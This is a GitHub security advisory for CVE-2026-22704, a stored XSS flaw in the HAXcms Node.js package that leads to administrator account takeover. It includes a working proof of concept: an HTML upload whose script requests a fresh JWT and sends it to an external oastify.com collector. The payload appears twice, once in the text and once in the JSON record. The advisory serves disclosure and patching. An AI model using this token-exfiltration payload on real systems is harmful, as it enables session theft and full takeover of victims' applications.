GHSA-3FM2-XFQ7-7778
Vulnerability from github – Published: 2026-01-13 15:07 – Updated: 2026-01-13 15:09Summary
Stored XSS Leading to Account Takeover
Details
The Exploit Chain:
1.Upload: The attacker uploads an .html file containing a JavaScript payload.
2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.
3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request.
4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.
5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.
6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.
Vulnerability recurrence:
Then we test access to this html
You can obtain other people's identity information
PoC
POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128
------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"
true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain
// This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); });Processing your request...
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Impact
The attacker now possesses a valid administrator JWT and can take full control of the application.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.6"
},
{
"fixed": "25.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22704"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T15:07:57Z",
"nvd_published_at": "2026-01-10T07:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n\u003cimg width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" /\u003e\n\nThen we test access to this html\n\n\u003cimg width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" /\u003e\n\nYou can obtain other people\u0027s identity information\n\n\u003cimg width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" /\u003e\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu\u0026site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ\u0026jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n\u003cscript\u003e\n // This version adds headers to make the request look more legitimate.\n fetch(\u0027/system/api/refreshAccessToken\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: \u0027application/json\u0027\n },\n body: \u0027{}\u0027 // Sending an empty JSON object body\n })\n .then(response =\u003e {\n if (!response.ok) {\n throw new Error(\u0027Network response was not ok \u0027 + response.statusText);\n }\n return response.json();\n })\n .then(data =\u003e {\n var stolenJWT = data.jwt;\n var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=\u0027 + stolenJWT;\n fetch(attackerUrl);\n })\n .catch(error =\u003e {\n var attackerUrl = \u0027https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=\u0027 + error.message;\n fetch(attackerUrl);\n });\n\u003c/script\u003e\n\u003ch1\u003eProcessing your request...\u003c/h1\u003e\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.",
"id": "GHSA-3fm2-xfq7-7778",
"modified": "2026-01-13T15:09:35Z",
"published": "2026-01-13T15:07:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22704"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/issues"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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